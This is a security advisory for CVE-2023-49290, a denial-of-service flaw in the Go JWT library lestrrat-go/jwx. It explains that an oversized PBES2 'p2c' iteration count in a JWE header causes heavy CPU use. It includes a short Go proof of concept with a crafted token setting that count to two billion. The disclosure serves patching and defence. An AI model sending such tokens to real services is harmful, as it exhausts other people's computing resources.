CVE-2023-49290

MEDIUM5.3EPSS 0.18%

lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

Published: 12/5/2023Modified: 2/4/2026
Also known as:GHSA-7f9x-gw85-8grfCGA-h464-jmqf-3pxpGO-2023-2379

Description

### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` ### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Affected packages (4)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1MEDIUM5.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References (4)